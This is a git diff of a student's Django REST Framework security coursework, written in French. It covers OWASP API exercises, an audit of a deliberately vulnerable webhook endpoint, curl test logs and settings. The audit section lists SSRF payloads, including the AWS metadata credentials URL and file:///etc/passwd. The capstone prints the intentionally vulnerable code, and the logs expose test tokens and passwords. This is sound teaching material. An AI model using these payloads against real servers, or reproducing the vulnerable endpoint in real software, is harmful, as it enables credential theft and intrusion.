+#### Correction + +Définir une fonction `def get_queryset(self):` permettant de trier selon une propriété ciblée des objets itérables par l'utilisateur, par exemple s'il est propriétaire avec `return Equipement.objects.filter(owner=self.request.user)` + +### 3. permission_classes trop permissif [API5] + +`permission_classes = [AllowAny]` permet une connexion et des actions depuis n'importe quel compte, y compris les non-authentifiés. + +#### Correction + +Utiliser des permissions restrictives comme `permission_classes = [isAuthenticated]` voire des classes "isOwner" récupérant dynamiquement les infos. + +### 4. url = request.data trop ouvert [API7] + +Le bloc : + +``` +url = request.data["url"] +reponse = requests.get(url) +``` + +Permet à n'importe quelle source d'imposer une requête, avec Falsification des Requêtes Côté-Serveur. Non je ne le dirais pas en anglais (parce que j'ai le droit). + +Par exemple (pour l'avoir déjà vu auparavant), la requête avec une URL à `http://169.254.169.254/latest/meta-data/iam/security-credentials/` peut faire afficher des crédits AWS, avec ID et clef secrète. Et on peut taper avec des noms de services genre `http://postgres:5432/` et potentiellement tomber sur une page de connexion. Pire, si on ne limite pas le type de protocole à `http://` on peut aussi bien tenter un `file:///etc/passwd`. + +De plus, une absence d'URL peut mener à des erreurs serveurs et un Déni de Service. + +#### Correction + +Utiliser des sources précises validées avec une fonction `_hostname_resolve` pour vérifier que le point d'entrée correspond au point de sortie, avec système de liste blanche explicite - sinon liste noire par défaut -, interdire les redirections, restreindre à HTTP et HTTPS, mettre des `timeout` et autre limite de requêtes, etc. + +Contrôler la présence du champ "URL" ou renvoyer une erreur avec un bloc `try: except:`. + +### 5. Requêtes sans garde-fou / pas de limite [API4] + +`reponse = requests.get(url)` se fait sans délai précisé entre deux requêtes. L'attaque par déni de service est probable. + +#### Correction + +Ralentir avec une API externe (genre Fail2Ban) ou un `sleep()`. Possibilité de limiter avec une énumération des requêtes. + +### 6. Réponse de la requête brute [API3] + +`reponse.text` renvoie une réponse brute, non formatée. Cela peut faire fuiter une surface d'attaque par injection de script. + +#### Correction + +Retourner une ligne de caractères fixée côté serveur avant renvoi au client. Aucun envoi direct d'une variable. Du genre : + +```python +contenu = reponse.raw.read(settings.WEBHOOK_MAX_RESPONSE_BYTES) +return Response({"status": reponse.status_code, "corps": contenu.decode("utf-8", errors="replace")}) +``` \ No newline at end of file diff --git a/Semaine_11/Jour_04/BOICHE_Gauvain_4_1_Projet_Django.zip b/Semaine_11/Jour_04/BOICHE_Gauvain_4_1_Projet_Django.zip new file mode 100644 index 0000000..4fd73af Binary files /dev/null and b/Semaine_11/Jour_04/BOICHE_Gauvain_4_1_Projet_Django.zip differ diff --git a/Semaine_11/Jour_04/BOICHE_Gauvain_4_2_Lister_Equipment.zip b/Semaine_11/Jour_04/BOICHE_Gauvain_4_2_Lister_Equipment.zip new file mode 100644 index 0000000..1f88a82 Binary files /dev/null and b/Semaine_11/Jour_04/BOICHE_Gauvain_4_2_Lister_Equipment.zip differ diff --git a/Semaine_11/Jour_04/BOICHE_Gauvain_5_1_Exiger_Auth.zip b/Semaine_11/Jour_04/BOICHE_Gauvain_5_1_Exiger_Auth.zip new file mode 100644 index 0000000..169e995 Binary files /dev/null and b/Semaine_11/Jour_04/BOICHE_Gauvain_5_1_Exiger_Auth.zip differ diff --git a/Semaine_11/Jour_04/BOICHE_Gauvain_5_2_Cloisonner.zip b/Semaine_11/Jour_04/BOICHE_Gauvain_5_2_Cloisonner.zip new file mode 100644 index 0000000..aedc06b Binary files /dev/null and b/Semaine_11/Jour_04/BOICHE_Gauvain_5_2_Cloisonner.zip differ diff --git a/Semaine_11/Jour_04/BOICHE_Gauvain_5_3_Proprietes_sensibles.zip b/Semaine_11/Jour_04/BOICHE_Gauvain_5_3_Proprietes_sensibles.zip new file mode 100644 index 0000000..ae04a92 Binary files /dev/null and b/Semaine_11/Jour_04/BOICHE_Gauvain_5_3_Proprietes_sensibles.zip differ diff --git a/Semaine_11/Jour_04/BOICHE_Gauvain_5_4_Limiter_conso.zip b/Semaine_11/Jour_04/BOICHE_Gauvain_5_4_Limiter_conso.zip new file mode 100644 index 0000000..9694072 Binary files /dev/null and b/Semaine_11/Jour_04/BOICHE_Gauvain_5_4_Limiter_conso.zip differ diff --git a/Semaine_11/Jour_04/BOICHE_Gauvain_5_5_Durcir_config.zip b/Semaine_11/Jour_04/BOICHE_Gauvain_5_5_Durcir_config.zip new file mode 100644 index 0000000..bb7d7ef Binary files /dev/null and b/Semaine_11/Jour_04/BOICHE_Gauvain_5_5_Durcir_config.zip differ diff --git a/Semaine_11/Jour_04/BOICHE_Gauvain_5_6_Audit.zip b/Semaine_11/Jour_04/BOICHE_Gauvain_5_6_Audit.zip new file mode 100644 index 0000000..b1055d2 Binary files /dev/null and b/Semaine_11/Jour_04/BOICHE_Gauvain_5_6_Audit.zip differ diff --git a/Semaine_11/Jour_04/Exercice 4.1 - Projet Django.md b/Semaine_11/Jour_04/Exercice 4.1 - Projet Django.md new file mode 100644 index 0000000..f4d7c99 --- /dev/null +++ b/Semaine_11/Jour_04/Exercice 4.1 - Projet Django.md @@ -0,0 +1,54 @@ +# Module 4 — Exercices : Django & Django REST Framework + +Fil rouge : une application Django de **gestion de parc** (`gestion_parc` / app `parc`), puis son **API DRF** sécurisée. + +--- + +## Consignes communes à tous les exercices + +**Usage de l'IA — transparence obligatoire.** +L'IA générative n'est **pas interdite**, mais son usage doit être **assumé et documenté**. Chaque rendu **doit obligatoirement contenir un fichier `USAGE-IA.md`**. Sans ce fichier, le rendu est **incomplet**. + +`USAGE-IA.md` doit préciser : (1) les **outils utilisés** et pour quelles parties, (2) l'**aide obtenue** (avec un exemple de prompt), (3) ce que vous avez **accepté** et *pourquoi vous l'avez compris/validé*, (4) ce que vous avez **refusé ou corrigé** et *pourquoi*, (5) ce que vous avez **appris**. + +> Aucune IA utilisée ? Déclarez-le explicitement. + +**Règle d'or : vous devez pouvoir expliquer et justifier chaque ligne de votre rendu.** Gabarit en annexe. + +**Pré-requis :** environnement virtuel activé, `pip install django djangorestframework`. + +--- + +## Exercice 4.1 — Projet Django : modèle `Equipement` et admin + +**Compétences visées :** projet vs application, modèle, migrations, interface d'administration. + +**Consignes :** +1. Créez un projet `gestion_parc` et une application `parc`. Déclarez `parc` dans `INSTALLED_APPS`. +2. Définissez un modèle `Equipement` avec les champs `hostname`, `ip` (utilisez `GenericIPAddressField`) et `actif` (booléen, défaut `True`), plus une méthode `__str__`. +3. Générez et appliquez les migrations (`makemigrations`, `migrate`). +4. Enregistrez le modèle dans l'admin, créez un super-utilisateur (`createsuperuser`) et ajoutez 2-3 équipements via `/admin/`. + +**Livrables :** `models.py`, `admin.py`, un court `RENDU.md` décrivant ce que vous voyez dans l'admin (+ capture d'écran si possible), `USAGE-IA.md`. + + +## Annexe — Gabarit `USAGE-IA.md` + +```markdown +# Usage de l'IA — Exercice X.Y + +## 1. Outils utilisés +(Quel(s) outil(s), pour quelles parties. Ou : « aucune IA utilisée ».) + +## 2. Aide obtenue +(Ce que l'IA a proposé. Exemple de prompt : « … ») + +## 3. Ce que j'ai accepté +(Ce que j'ai repris et pourquoi je l'ai compris et validé.) + +## 4. Ce que j'ai refusé ou corrigé +(Ce que j'ai écarté / modifié, et pourquoi.) + +## 5. Ce que j'ai appris +(Ce que je retiens, ce que je ferais autrement.) +``` diff --git a/Semaine_11/Jour_04/Exercice 4.2 - Lister les équipes.md b/Semaine_11/Jour_04/Exercice 4.2 - Lister les équipes.md new file mode 100644 index 0000000..3f8ba79 --- /dev/null +++ b/Semaine_11/Jour_04/Exercice 4.2 - Lister les équipes.md @@ -0,0 +1,11 @@ +## Exercice 4.2 — Lister les équipements actifs (vue + template) + +**Compétences visées :** vue, URL, template, requête ORM avec **filtre**. + +**Consignes :** +1. Écrivez une vue `liste_equipements_actifs` qui récupère `Equipement.objects.filter(actif=True)`. +2. Associez-la à l'URL `/equipements/`. +3. Créez un template affichant les équipements actifs dans une liste, avec un message si la liste est vide (balise `{% empty %}`). +4. **Bonus :** réécrivez la même logique en vue basée sur une classe (`ListView` + `get_queryset`). + +**Livrables :** `views.py`, `urls.py`, `templates/parc/liste.html`, `USAGE-IA.md`. diff --git a/Semaine_11/Jour_04/Exercice 4.3 - API DRF avec perm.md b/Semaine_11/Jour_04/Exercice 4.3 - API DRF avec perm.md new file mode 100644 index 0000000..93f9f5c --- /dev/null +++ b/Semaine_11/Jour_04/Exercice 4.3 - API DRF avec perm.md @@ -0,0 +1,20 @@ +## Exercice 4.3 — API DRF avec permissions + +**Compétences visées :** DRF (sérialiseur, `ModelViewSet`, routeur), **permissions**. + + +**Consignes :** + + **Installation de DRF :** + ```bash + pip install djangorestframework + ``` + +1. Ajoutez `rest_framework` à `INSTALLED_APPS`. +2. Créez un `EquipementSerializer` (`ModelSerializer`) exposant `id`, `hostname`, `ip`, `actif`. +3. Créez un `EquipementViewSet` (`ModelViewSet`) enregistré via un `DefaultRouter` sous `/api/equipements/`. +4. Appliquez la permission `IsAuthenticatedOrReadOnly` : **lecture ouverte à tous**, mais **création / modification / suppression réservées aux utilisateurs authentifiés**. +5. Démontrez le comportement : lecture anonyme **OK (200)**, écriture anonyme **refusée (401/403)**, écriture authentifiée **OK (201)**. + +**Livrables :** `serializers.py`, `views.py`, `urls.py`, `TESTS.md` (vos essais et les codes obtenus), `USAGE-IA.md`. + diff --git a/Semaine_11/Jour_04/Exercice 5.1 - Exiger-auth.md b/Semaine_11/Jour_04/Exercice 5.1 - Exiger-auth.md new file mode 100644 index 0000000..a81ec70 --- /dev/null +++ b/Semaine_11/Jour_04/Exercice 5.1 - Exiger-auth.md @@ -0,0 +1,32 @@ +## Consignes communes à tous les exercices + +**Usage de l'IA — transparence obligatoire.** L'IA générative n'est **pas interdite**, mais son usage doit être **assumé et documenté**. Chaque rendu **doit contenir un fichier `USAGE-IA.md`** (sinon rendu **incomplet**) précisant : (1) les **outils** utilisés et pour quoi, (2) l'**aide obtenue** (avec un exemple de prompt), (3) ce que vous avez **accepté** et *pourquoi vous l'avez compris/validé*, (4) ce que vous avez **refusé ou corrigé** et *pourquoi*, (5) ce que vous avez **appris**. Aucune IA utilisée ? Déclarez-le. + +> **Règle d'or (renforcée en sécurité) :** vous devez pouvoir **expliquer la faille, son impact et votre correctif**. En sécurité, copier un correctif sans le comprendre est un risque en soi. + +**Pré-requis technique :** environnement virtuel, `pip install django djangorestframework`. Pour l'exercice 6, `pip install requests` (déjà vu au module 3). + +**Livrables communs :** le code modifié (fichiers `.py`), un court `TESTS.md` montrant vos essais (commandes/`curl`/captures) et `USAGE-IA.md`. Gabarit de `USAGE-IA.md` en annexe. + +--- + +## Exercice 1 — Exiger l'authentification (API2) + +**Risque OWASP :** API2 Broken Authentication. + +**Contexte :** l'API d'inventaire actuelle répond à tout le monde, y compris aux requêtes anonymes. + +**Consignes :** +1. Activez l'authentification par **jeton** de DRF : ajoutez `rest_framework.authtoken` à `INSTALLED_APPS`, appliquez la migration, et configurez `DEFAULT_AUTHENTICATION_CLASSES` (`TokenAuthentication`). +2. Rendez l'`EquipementViewSet` accessible uniquement aux utilisateurs authentifiés (`IsAuthenticated`). +3. Créez un utilisateur et générez son jeton (`drf_create_token` ou via le shell). + python manage.py createsuperuser + Créer un utilisateur 'admin' + python manage.py drf_create_token admin + Generated token e94d4f34ead7c5ab074cf8b7cd7d7adc19ee441f for user admin +4. Exiger l'authentification dans views.py : + permission_classes = [IsAuthenticated] + +5. Vérifiez : une requête **sans** jeton est refusée (401/403), une requête **avec** l'en-tête `Authorization: Token ` réussit (200). + +**Critères :** authentification effective, endpoint protégé, démonstration avec et sans jeton. \ No newline at end of file diff --git a/Semaine_11/Jour_04/Exercice 5.2 - Cloisonner.md b/Semaine_11/Jour_04/Exercice 5.2 - Cloisonner.md new file mode 100644 index 0000000..48e88cc --- /dev/null +++ b/Semaine_11/Jour_04/Exercice 5.2 - Cloisonner.md @@ -0,0 +1,22 @@ +## Exercice 2 — Cloisonner l'accès aux objets / BOLA (API1) + +**Risque OWASP :** API1 Broken Object Level Authorization. + +**Contexte :** tout utilisateur authentifié peut lire/modifier **n'importe quel** équipement via son ID. + +**Consignes :** +1. Ajoutez au modèle `Equipement` un champ `proprietaire` (clé étrangère vers `User`) ; + + proprietaire = models.ForeignKey(settings.AUTH_USER_MODEL, + on_delete=models.CASCADE, + related_name="equipements") + + + migrez. + +2. Dans l'`EquipementViewSet`, surchargez `get_queryset()` pour ne renvoyer que les équipements du `request.user`. +3. Faites en sorte que la création affecte automatiquement le propriétaire (`perform_create`). +4. Ajoutez une permission au niveau **objet** (`has_object_permission`) qui vérifie l'appartenance. +5. Vérifiez : l'utilisateur A ne peut pas accéder (404/403) à l'équipement de l'utilisateur B. + +**Critères :** cloisonnement effectif par propriétaire (queryset + permission objet), démonstration A/B. \ No newline at end of file diff --git a/Semaine_11/Jour_04/Exercice 5.3 - Proprietes-sensibles.md b/Semaine_11/Jour_04/Exercice 5.3 - Proprietes-sensibles.md new file mode 100644 index 0000000..eb2890c --- /dev/null +++ b/Semaine_11/Jour_04/Exercice 5.3 - Proprietes-sensibles.md @@ -0,0 +1,15 @@ +## Exercice 3 — Propriétés sensibles / BOPLA (API3) + +**Risque OWASP :** API3 Broken Object Property Level Authorization. + +**Contexte :** le sérialiseur expose `fields = "__all__"`. Or `Equipement` possède un champ sensible `notes_internes`, et le champ `proprietaire` ne doit pas être imposable par le client (mass assignment). + +**Consignes :** +1. Ajoutez le champ `notes_internes` (texte) au modèle s'il n'existe pas ; migrez. +2. Remplacez `fields = "__all__"` par une **liste explicite** de champs qui **n'expose pas** `notes_internes`. +3. Empêchez le **mass assignment** de `proprietaire` (`read_only_fields`) — il doit toujours être défini côté serveur. +4. Vérifiez : (a) la réponse JSON ne contient pas `notes_internes` ; (b) un `POST` qui tente de fixer `proprietaire` à un autre utilisateur est ignoré (le propriétaire reste l'appelant). + +**Critères :** aucun champ sensible exposé, mass assignment neutralisé, tests probants. + +--- \ No newline at end of file diff --git a/Semaine_11/Jour_04/Exercice 5.4 - Limiter-conso.md b/Semaine_11/Jour_04/Exercice 5.4 - Limiter-conso.md new file mode 100644 index 0000000..8b3cd2f --- /dev/null +++ b/Semaine_11/Jour_04/Exercice 5.4 - Limiter-conso.md @@ -0,0 +1,13 @@ +## Exercice 4 — Limiter la consommation (API4) *(Intermédiaire — 30 min)* + +**Risque OWASP :** API4 Unrestricted Resource Consumption (et prévention API6). + +**Contexte :** l'API renvoie toute la table d'un coup et n'impose aucune limite de débit. + +**Consignes :** +1. Activez la **pagination** (`PageNumberPagination`, `PAGE_SIZE` raisonnable). +2. Activez la **limitation de débit** (`UserRateThrottle` / `AnonRateThrottle`) avec des taux dans `DEFAULT_THROTTLE_RATES`. Pour tester facilement, fixez temporairement un taux bas (ex. `3/min`). +3. Limitez la taille des corps de requête (`DATA_UPLOAD_MAX_MEMORY_SIZE`). +4. Vérifiez : après dépassement du taux, l'API renvoie **429 Too Many Requests** ; la liste est paginée. + +**Critères :** pagination effective, throttling déclenchant un 429, limite de taille en place. \ No newline at end of file diff --git a/Semaine_11/Jour_04/Exercice 5.5 - Durcir-config.md b/Semaine_11/Jour_04/Exercice 5.5 - Durcir-config.md new file mode 100644 index 0000000..b6e5115 --- /dev/null +++ b/Semaine_11/Jour_04/Exercice 5.5 - Durcir-config.md @@ -0,0 +1,15 @@ +## Exercice 5 — Durcir la configuration (API8) + +**Risque OWASP :** API8 Security Misconfiguration (+ A09 journalisation). + +**Contexte :** le `settings.py` est en configuration de développement (peu sûr pour la production). + +**Consignes :** +1. Sortez la `SECRET_KEY` du code : lisez-la depuis une **variable d'environnement** ; faites de même pour `DEBUG`. +2. Passez `DEBUG = False` et renseignez `ALLOWED_HOSTS` explicitement. +3. Activez les **en-têtes de sécurité** (`SECURE_CONTENT_TYPE_NOSNIFF`, `SECURE_REFERRER_POLICY`, `SECURE_SSL_REDIRECT`, `SECURE_HSTS_SECONDS`, cookies `Secure`). +4. Restreignez **CORS** (pas de `CORS_ALLOW_ALL_ORIGINS = True`) et **désactivez l'API navigable** en production (rendu JSON uniquement). +5. Ajoutez une **journalisation** des échecs d'authentification/autorisation (logger dédié), sans journaliser de secret. +6. Lancez `python manage.py check --deploy` et corrigez les avertissements. + +**Critères :** secrets hors du code, `DEBUG=False`, en-têtes présents, CORS restreint, `check --deploy` propre, journalisation en place. \ No newline at end of file diff --git a/Semaine_11/Jour_04/Exercice 5.6 - Capstone.md b/Semaine_11/Jour_04/Exercice 5.6 - Capstone.md new file mode 100644 index 0000000..abe4337 --- /dev/null +++ b/Semaine_11/Jour_04/Exercice 5.6 - Capstone.md @@ -0,0 +1,42 @@ +## Exercice 6 — Capstone : audit et durcissement d'une API vulnérable *(Avancé — 45 min)* + +**Risques OWASP visés :** API1, API2, API3, API7 (SSRF), API8, API10. + +**Contexte :** on vous fournit l'extrait suivant d'une API DRF de supervision. Elle contient **plusieurs failles**, dont un endpoint qui teste une URL de webhook fournie par l'utilisateur. + +```python +# audit/views.py (API VOLONTAIREMENT VULNÉRABLE — à auditer) +import requests +from rest_framework import viewsets, serializers +from rest_framework.decorators import action +from rest_framework.response import Response +from rest_framework.permissions import AllowAny +from .models import Equipement + +class EquipementSerializer(serializers.ModelSerializer): + class Meta: + model = Equipement + fields = "__all__" + +class EquipementViewSet(viewsets.ModelViewSet): + queryset = Equipement.objects.all() + serializer_class = EquipementSerializer + permission_classes = [AllowAny] + + @action(detail=False, methods=["post"]) + def tester_webhook(self, request): + url = request.data["url"] + reponse = requests.get(url) + return Response({"status": reponse.status_code, "corps": reponse.text}) +``` + +**Consignes :** +1. **Auditez** cet extrait : dressez la liste des failles en les rattachant à leur identifiant OWASP (API1, API2, API3, API7, API8, API10). Rédigez cet audit dans `AUDIT.md`. +2. **Corrigez** le code : + - authentification requise et autorisation au niveau objet (cloisonnement par propriétaire) ; + - sérialiseur à champs explicites, sans champ sensible, sans mass assignment ; + - endpoint `tester_webhook` : **valider l'URL** (schéma autorisé, blocage des IP privées / loopback / link-local comme `169.254.169.254`), ajouter un `timeout`, ne pas suivre aveuglément les redirections, et **ne pas** renvoyer tel quel le corps distant ; + - signalez au moins un point de configuration à durcir (`DEBUG`, `AllowAny` global, etc.). +3. Vérifiez que votre validateur d'URL refuse `http://169.254.169.254/`, `http://127.0.0.1/`, `http://10.0.0.5/` et accepte une URL publique légitime. + +**Livrables :** `AUDIT.md` (failles + OWASP), le code corrigé, `TESTS.md`, `USAGE-IA.md`. diff --git a/Semaine_11/Jour_04/README.md b/Semaine_11/Jour_04/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_11/Jour_04/RENDU.md b/Semaine_11/Jour_04/RENDU.md new file mode 100644 index 0000000..a2e603a --- /dev/null +++ b/Semaine_11/Jour_04/RENDU.md @@ -0,0 +1,22 @@ +# Exo 4.1 "Projet Django" - BOICHÉ Gauvain + +![alt text](image.png) + +![alt text](image-1.png) + +![alt text](image-2.png) + +![alt text](image-3.png) + +![alt text](image-4.png) + +![alt text](image-5.png) + +![alt text](image-6.png) + +# Exo 5.1 + +``` +> uv run .\manage.py drf_create_token admin +Generated token 5e2327313ba81b67bec97c2b1adf333842cfe81c for user admin +``` \ No newline at end of file diff --git a/Semaine_11/Jour_04/USAGE-IA.md b/Semaine_11/Jour_04/USAGE-IA.md new file mode 100644 index 0000000..4057e03 --- /dev/null +++ b/Semaine_11/Jour_04/USAGE-IA.md @@ -0,0 +1,147 @@ +# Exo 4.1 "Projet Django" - BOICHÉ Gauvain + +Je déclare n'avoir pas utilisé l'IA sur ce projet au profit de la [documentation du cours](https://github.com/Laudroid/Live-Python-Web/blob/main/4-1-5-Cr%C3%A9ation-de-pages-web-simples-et-ge.md) et [celle de Django](https://docs.djangoproject.com/fr/3.1/ref/contrib/auth/). + +# Exo 4.2 "Lister des équipements" - BOICHÉ Gauvain + +Je déclare avoir utilisé l'IA dans ces cadres : + +## Raison 1 + +Génération de "list.html" + +### Pourquoi ? + +Je n'aime pas l'HTML. + +### Ce que j'en ai retenu + +Tout le contenu donné semble correct. + +## Raison 2 + +Pour déboguer la raison pour laquelle mon fichier "list.html" n'était pas trouvé par le projet. + +### Ce que l'IA m'a répondu + +> The template parc/list.html exists at templates/parc/list.html, but Django's app_directories loader is searching inside each app's own templates/ folder — not the project-level one. + +> Fix: declare the project-level templates directory in TEMPLATES settings. + +### Ce que j'ai rajouté + +De : + +``` +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] +``` + +à : + +``` +TEMPLATES = [ + { + "BACKEND": "django.template.backends.django.DjangoTemplates", + "DIRS": [BASE_DIR / "templates"], + "APP_DIRS": True, + "OPTIONS": { + "context_processors": [ + "django.template.context_processors.request", + "django.contrib.auth.context_processors.auth", + "django.contrib.messages.context_processors.messages", + ], + }, + }, +] +``` + +### Conséquences + +Ca ne marchait toujours pas, et l'IA m'a mis sur une piste à la noix qui n'est pas évidente : j'ai réorganisé un peu mon arborescence, et dans `settings.py` je devais faire ça : + +``` +# BASE_DIR = Path(__file__).resolve().parent.parent # old +BASE_DIR = Path(__file__).resolve().parent.parent.parent # new: 4_1/ +``` + +# Exo 5.1 "Exiger Auth" - BOICHÉ Gauvain + +Je déclare n'avoir pas usé d'IA au profit [de la documentation officielle](https://www.django-rest-framework.org/api-guide/authentication/#tokenauthentication). + +Par contre je déclare l'avoir utilisé hier soir pour mettre tout d'a-plomb pour faire marcher l'application, en générant les patrons HTML notamment. + +# Exo 5.2 "Cloisonner" - BOICHÉ Gauvain + +J'allais l'utiliser, mais j'ai décidé de relire le cours pour `perform_create`. Des fois je pense que tout est trop compliqué. + +# Exo 5.3 "Propiétés sensibles" + +Je n'ai pas utilisé d'IA... en fait j'avais déjà fait ça : + +``` +from rest_framework import serializers +from .models import Equipment + +class EquipmentSerializer(serializers.ModelSerializer): + class Meta: + model = Equipment + fields = ["id", "hostname", "ip", "is_active"] + # fields = ["id", "hostname", "description", "date_ajout", "is_active"] +``` + +Pris d'un cours précédent. Sécurité béton accidentelle. + +### Si, j'en ai usé : Raison 1 + +Je voulais un script qui génère des utilisateurs, les jetons et tout directement après un gros HARD-RESET du projet (restructuration des dossiers) + +### Raison 2 + +En voulant créer, depuis le compte "Bob" un équipement avec "owner": "Alice", j'obtiens malgré tout une réponse 201. Maintenant, la sécurité "marche" en soit parce que le "owner" passe à "Bob". Autant il ne peut PAS créer de réponse en tant qu'Alice, autant... et bien ce n'est pas ce que j'ai demandé. + +J'ai passé l'info à une IA et elle a voulu tout ré-écrire pour... permettre à Bob de le faire pour Alice. J'ai reprécisé 4 fois le périmètre, pas moyen de lui faire comprendre. + +J'ai fini par lui insulter ses grands morts et j'ai laissé comme ça. + +# Eco 5.4 "Limiter conso" + +Pas d'IA. + +# Exo 5.5 "Durcir config" + +## Raison 1 + +Usage pour bien définir les CORS et les hôtes. + +### Avant + +ALLOWED_HOSTS = ["127.0.0.1", "http://127.0.0.1", "localhost"] +CORS_ALLOWED_ORIGINS = ["127.0.0.1", "http://127.0.0.1", "localhost"] + +### Après + +``` +ALLOWED_HOSTS = ["127.0.0.1", "localhost"] +CORS_ALLOWED_ORIGINS = ["http://127.0.0.1:8000", "http://localhost:8000"] +``` + +## Raison 2 + +Pour la journalisation, parce que c'était chaud comme bloc. + +# Exo 5.6 + +Pas eu le temps. \ No newline at end of file diff --git a/Semaine_11/Jour_04/create_users.md b/Semaine_11/Jour_04/create_users.md new file mode 100644 index 0000000..f8b985d --- /dev/null +++ b/Semaine_11/Jour_04/create_users.md @@ -0,0 +1,100 @@ +# 5.3 + +## Créer les utilisateurs + +``` +uv run .\manage.py shell -c "from django.contrib.auth.models import User; User.objects.create_user('alice', 'alice@example.com', 'alicepass123'); User.objects.create_user('bob', 'bob@example.com', 'bobpass123'); print('Users created')" +``` + +## Créer les jetons + +``` +uv run .\manage.py shell -c "from django.contrib.auth.models import User; from rest_framework.authtoken.models import Token; print('ALICE:', Token.objects.get_or_create(user=User.objects.get(username='alice'))[0].key); print('BOB:', Token.objects.get_or_create(user=User.objects.get(username='bob'))[0].key)" +``` + +## Exposer les jetons + +``` +$ALICE = "49a597b676ef22f8bd33ed94d3e9e657c05c4338" +$BOB = "b710b34ee3244c4da396f6d7a81d5d6d02d94441" +``` + +## Créer équipement ALICE + +``` +$body = '{"hostname":"alice-srv","ip":"192.168.1.10","is_active":true}' +curl.exe -i -X POST -H "Authorization: Token $ALICE" -H "Content-Type: application/json" -d $body http://127.0.0.1:8000/api/equipments/ +``` + +=> Résultat : 201 + +## Créer équipement BOB + +``` +$body = '{"hostname":"bob-srv","ip":"192.168.1.11","is_active":true}' +curl.exe -i -X POST -H "Authorization: Token $BOB" -H "Content-Type: application/json" -d $body http://127.0.0.1:8000/api/equipments/ +``` + +=> Résultat : 201 + +## Lister équipement ALICE + +``` +curl.exe -i -H "Authorization: Token $ALICE" http://127.0.0.1:8000/api/equipments/ +``` + +=> Résultat : 200 + +## Lister équipement BOB + +``` +curl.exe -i -H "Authorization: Token $BOB" http://127.0.0.1:8000/api/equipments/ +``` + +=> Résultat : 200 + +## BOB tente de créer un équipement ALICE + +``` +$body = '{"hostname":"forged-srv","ip":"192.168.1.99","is_active":true,"owner":1}' +curl.exe -i -X POST -H "Authorization: Token $BOB" -H "Content-Type: application/json" -d $body http://127.0.0.1:8000/api/equipments/ +``` + +=> Résultat : 201 (c'est pas normal) (alors en fait, même en forçant le "owner" avec "Alice" ça le créé pour Bob. Donc ça n'empêche pas la création mais ça empêche de le faire en un autre nom. J'investiguerai plus tard) + +# 5.4 + +## 100 requêtes en tant que "Bob" + +``` +for ($i = 1; $i -le 100; $i++) { + curl.exe -s -o /dev/null -w "%{http_code}`n" -H "Authorization: Token $BOB" http://127.0.0.1:8000/api/equipments/ +} +``` + +=> Résultat : que des 200. + +En changeant : + +`"DEFAULT_THROTTLE_RATES": {"user": "1000/day", "anon": "50/day"},` +en +`"DEFAULT_THROTTLE_RATES": {"user": "5/minute", "anon": "50/day"},` + +J'obtiens bien : + +``` +> for ($i = 1; $i -le 100; $i++) { +>> curl.exe -s -o /dev/null -w "%{http_code}`n" -H "Authorization: Token $BOB" http://127.0.0.1:8000/api/equipments/ +>> } +200 +200 +200 +200 +200 +429 +429 +429 +429 +``` + +## 100 requêtes en tant que "Anon" \ No newline at end of file diff --git a/Semaine_11/Jour_04/db.sqlite3 b/Semaine_11/Jour_04/db.sqlite3 new file mode 100644 index 0000000..c2469db Binary files /dev/null and b/Semaine_11/Jour_04/db.sqlite3 differ diff --git a/Semaine_11/Jour_04/gestion_parc/__init__.py b/Semaine_11/Jour_04/gestion_parc/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_11/Jour_04/gestion_parc/asgi.py b/Semaine_11/Jour_04/gestion_parc/asgi.py new file mode 100644 index 0000000..9cddf04 --- /dev/null +++ b/Semaine_11/Jour_04/gestion_parc/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for gestion_parc project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/6.0/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'gestion_parc.settings') + +application = get_asgi_application() diff --git a/Semaine_11/Jour_04/gestion_parc/settings.py b/Semaine_11/Jour_04/gestion_parc/settings.py new file mode 100644 index 0000000..272428e --- /dev/null +++ b/Semaine_11/Jour_04/gestion_parc/settings.py @@ -0,0 +1,220 @@ +""" +Django settings for gestion_parc project. + +Generated by 'django-admin startproject' using Django 6.0.7. + +For more information on this file, see +https://docs.djangoproject.com/en/6.0/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/6.0/ref/settings/ +""" + +from pathlib import Path + +### Bloc pour utiliser un fichier .env +def _required_env(key: str) -> str: + from os import environ + from dotenv import load_dotenv + load_dotenv() + value = environ.get(key) + if not value: + raise RuntimeError( + f"Variable {key!r} manquante" + f"Vérifiez votre fichier .env" + ) + return value +### Fin du bloc .env + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = _required_env("DJANGO_SECRET_KEY") + +# SECURITY WARNING: don't run with debug turned on in production! +# DEBUG = _required_env("DJANGO_DEBUG") +DEBUG = False + +ALLOWED_HOSTS = ["127.0.0.1", "localhost"] +CORS_ALLOWED_ORIGINS = ["http://127.0.0.1:8000", "http://localhost:8000"] + +SECURE_HSTS_PRELOAD = True +SECURE_HSTS_SECONDS = 31536000 +SECURE_HSTS_INCLUDE_SUBDOMAINS = True +SECURE_CONTENT_TYPE_NOSNIFF = True +SECURE_REFERRER_POLICY = "same-origin" + +### C'est en FALSE exprès. Oui, pas en environnement local. Le HTTPS en local c'est trop galère. +### Ils passent à "True" et le `check --deploy` est propre, mais ça devient impraticable en local +SECURE_SSL_REDIRECT = False +SESSION_COOKIE_SECURE = False +CSRF_COOKIE_SECURE = False + +# Application definition + +INSTALLED_APPS = [ + "django.contrib.admin", + "django.contrib.auth", + "django.contrib.contenttypes", + "django.contrib.sessions", + "django.contrib.messages", + "django.contrib.staticfiles", + "rest_framework", + "rest_framework.authtoken", + "parc", + "whitenoise.runserver_nostatic", # Sinon le CSS est cassé avec DEBUG = False +] + +REST_FRAMEWORK = { + "DEFAULT_PAGINATION_CLASS": "rest_framework.pagination.PageNumberPagination", + "PAGE_SIZE": 50, + "DEFAULT_THROTTLE_CLASSES": [ + 